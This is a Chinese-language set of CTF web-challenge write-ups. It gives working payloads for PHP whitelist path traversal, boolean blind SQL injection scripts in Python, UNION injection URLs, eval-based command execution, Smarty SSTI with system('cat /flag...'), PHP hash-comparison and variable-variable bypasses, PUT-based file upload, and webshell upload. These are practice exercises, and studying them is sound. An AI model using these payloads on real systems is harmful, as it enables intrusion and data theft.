查看源代码得到
开始代码审计
highlight_file(__FILE__);
page变量不存在或page变量不是字符串时返回false
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;//}
满足page变量在whitelist数组内返回true
if (in_array($page, $whitelist)) {
return true;//}
截取page变量第一个?前的字符串
$_page = mb_substr(//$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}//白名单检查
$_page = urldecode($page);//url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);//二次截断
if (in_array($_page, $whitelist)) {
return true;
}//白名单检查
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
##只有三个条件全部为true时才可触发 1. ! empty($_REQUEST['file']) ##条件1表示参数不为空时返回true 2. is_string($_REQUEST['file']) ##条件2表示参数为字符串时返回true 3. emmm::checkFile($_REQUEST['file']) ##条件3表示参数满足checkFile函数时返回true
php mb_strpos()函数详解 - 飞鸟慕鱼博客
满足经过两次?截断后仍能通过白名单检查,并且include正确路径,才输出flag。
先看看hint.php
找到了flag的目录
构建payload: /source.php?file=hint.php?../../../../../../../../ffffllllaaaagggg
这段payload,checkfile检测传入的file的值,将file赋给page变量,首先白名单检测hint.php在白名单内返回真。
然后?截断在第一次截断的时候将file中的hint.php?../../../../../../../../ffffllllaaaagggg截断为hint.php并顺利通过第二次白名单检测。
接着是一次url解码,将page变量进行一次url解码。
注意 mb_strpos($_page . '?', '?')
这段代码,“$_page . '?',”,中的那个.是一个连接符,相当于在__page变量后加上一个?。于是这次同样截断剩下hint.php再次顺利通过白名单检测。最后满足3个if条件执行include语句。在包含的时候会把hint.php?/当成一层目录,然后构造../../向上遍历找到flag。
因为白名单有两个字符串所以把file里面的hint换成source也是一样能拿到flag。
即source.php?file=source.php?../../../../../../../../ffffllllaaaagggg可以达到相同的效果。
得到flag
尝试注入发现了bool错误,应该属于是布尔盲注了
import requests import time url = "http://node2.anna.nssctf.cn:28326/index.php" payload = { "id" : "" } result = "" for i in range(1,100): l = 33 r =130 mid = (l+r)>>1 while(l{1})".format(i, mid) # 跑表名 #"0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctf'),{0},1))>{1})".format(i, mid) # 跑列名 #"0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'f111'),{0},1))>{1})".format(i,mid) ####################### #"0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid) payload["id"] ="0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid) html = requests.post(url,data=payload) print(payload) if "Hello" in html.text: l = mid+1 else: r = mid mid = (l+r)>>1 if(chr(mid)==" "): break result = result + chr(mid) print(result) print("flag: " ,result)
还有
import requests import string def blind_sql(url): flag='' for num in range(1,60): #flag一般不超过50个字符 for i in string.printable: #string.printable将给出所有的标点符号,数字,ascii_letters和空格 payload='(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i)) #ord函数用来获取单个字符的ascii码 post = {"id":payload} result = requests.post(url=url,data=post) #提交post请求 if 'Hello' in result.text: flag += i #用flag接收盲注得到的结果 print(flag) #打印结果 else: continue print(flag) if __name__ == '__main__': url='http://node4.anna.nssctf.cn:28304/index.php' blind_sql(url)
得到flag
点进去有点懵,看看访问一下首页
连接成功
看到有一个bbbbbbbbb.txt
先找找他的闭合条件
(((((('.$_GET["id"].'))))))
sql注入闭合方式-CSDN博客 推荐大家看这篇博客
应该是1')))))这样闭合
爆库名
?id=1)))))) union select 1, group_concat(schema_name)from information_schema.schemata --+
爆表名
?id=1)))))) union select 1, group_concat(table_name)from information_schema.tables where table_schema='ctftraining' --+
爆列名
?id=1)))))) union select 1, group_concat(column_name)from information_scheam.columns where table_name='flag' --+
查字段,得到flag
?id=-1)))))) union select 1,flag from ctftraining.flag%23
代码审计
第一次见这种题,无参数rce,找了两篇博客给大家参考
https://www.cnblogs.com/pursue-security/p/15406272.html
无参数RCE-CSDN博客
eval() 函数把字符串按照 PHP 代码来计算
即,我们通过GET传入参数code,code可以是一些命令参数,但被过滤了许多。
现在的目标是绕过过滤,进入if从句
看到flag文件,直接查看
/?code=printf(`c\at /fffffffffflagafag`);
直接抓包,找到了一个页面 访问
又是这个页面,访问index.php
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
关于md5强比较直接使用数组类型绕过即ctf[]=1&gdou[]=2
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){//给上边这几个参数赋值,if(isset($_COOKIE['cookie'])){
传入cookie使cookie的值等于j0k3r cookie=j0k3r
if ($_COOKIE['cookie']=='j0k3r'){//if(isset($_GET['aaa']) && isset($_GET['bbb'])){
让get方式传入参数aaa和bbb的值传就行了
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];//if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
这里进行绕过,在任意一个114514后加一个字母传参aaa=114514&bbb=114514a$give = 'cancanwordflag';
这里选择任意一个传入flag的方式使用get,则flag的值在不断的遍历,对flag的值进行传递,输出flag构造:123=flag&flag=123
$get ='hacker!';
if(isset($_GET['flag']) && isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);//}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
最后构造的payload:
get:?aaa=114514&bbb=114514a&123=flag&flag=123
post: ctf[]=1&gdou[]=2
cookie: cookie=j0k3r
得到flag
代码审计,又遇到了substr()函数,php伪协议就ok
得到base64编码
继续用这个协议,加上flag前面的目录就可以了
进去没东西,直接开扫
扫到了,进去看看
发现没东西。还是bp抓一下,还是没抓到东西
看大佬的wp才知道这个是put请求,还涉及到了一个没用过的软件
Nikto安装和使用_nikto下载-CSDN博客Nikto 网页服务器扫描器_nikto扫描-CSDN博客
Nikto 网页服务器扫描器_nikto扫描-CSDN博客
输入命令:nikto -h http://node4.anna.nssctf.cn:28806/
可以put请求文件上传
发现成功写入
命令执行得到flag
说是smarty模板,能想到的就是ssti注入
确定了是ssti注入,用{if}{/if}尝试注入 data={if system('ls /')}{/if}
得到了flag文件
继续得到flag
data={if system('cat /flag_13_searchmaster')}{/if}
又是代码审计
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
$aaa = preg_replace('/^(.*)level(.*)$/', '${1}${2}', $_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){
echo "here is level 2";
if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])
echo 'The level 2 can not pass!
';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);
if ($level_3->result == $result) {
echo "success:".$flag;
}
else {
echo "you never beat me!";
}
}
else{
echo "out";
}
}
else{
die("no");
}
// perform validations on the form data
}
else{
echo 'out!
';
}
}
else{
echo 'nonono!';
}
echo '
';
}
?>
关键代码
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
$aaa = preg_replace('/^(.*)level(.*)$/', '${1}${2}',
$_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){//要求get传参aaa,让aaa=pass_the_level_1,但是level1会被替换成filtered
echo "here is level 2"; if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])//post传参admin和root_pwd
echo 'The level 2 can not pass!
';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){//让这两个参数的sha1值相等
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);
if($level_3->result == $result) {//post传参level3,
对其进行json_decode后,需要$level_3->result == $result
echo "success:".$flag;
深入了解PHP的json_decode()函数-PHP问题-PHP中文网 这篇详细介绍了json_decode
构造payload:
1.get传参aaa
因为preg_replace
函数只能匹配一行的数据,因此我们只需先传入换行符,那么后面的传入便不再被匹配
/?aaa=%0Apass_the_level_1%23(%0a和%23分别是换行符和井号键的url编码)
正则匹配单行模式(?s)
下 ,.
号将匹配所有字符,包括换行符;但默认情况下点号不匹配换行符,因此给了绕过(.*)
的可能
2.post传参admin和root_pwd
我们利用数组绕过,具体原因是sha1加密时,若传入的是数组,返回值为null
admin[]=1&root_pwd[]=2
3.//post传参level3,
对其进行json_decode后,需要$level_3->result == $result
我们传入一个JSON格式的字符串,即
level_3={"result":0}
得到flag
上传一句话木马,发现成功
连接蚁剑
得到flag
结合题目和页面提示想到了ffifdyop
查看源码,找到了需要审计的部分
没的说,数组绕过就结束了, ?x[]=1&y[]=2
到了下一个页面,md5强比较,因为他没有字符串的限制,所以还用数组就可以了
wqh[]=1&dsy[]=2 ,得到flag
点什么都没反应,直接开扫
访问发现
弱口令尝试登录(或者bp爆破)
试出来是admin/12345
进到后台发现 设计->主题 处可以编辑页面,支持php源代码,于是考虑插入php在网站页面爆出flag,随便找个地方,比如 头部 处写一个php试试
所以需要构造出这样一个文件,在 设计->组件->素材库 发现上传文件入口,先随便上传一个本地txt,根据先前编辑页面的路径,将上传到素材库的文件重命名为 ../../../../../system/tmp/udst 形成目录穿越。
有了这个东西之后就可以尝试命令执行了
什么是CMS ,CMS 有哪些功能呢?|齿轮干货 - 知乎
CMS是什么意思-php教程-PHP中文网
有一个bp的下载链接,应该是和bp抓包有关的
没抓到什么,既然是给新手看的,那就在源码里找一下
最后还是找到了东西
解密得到flag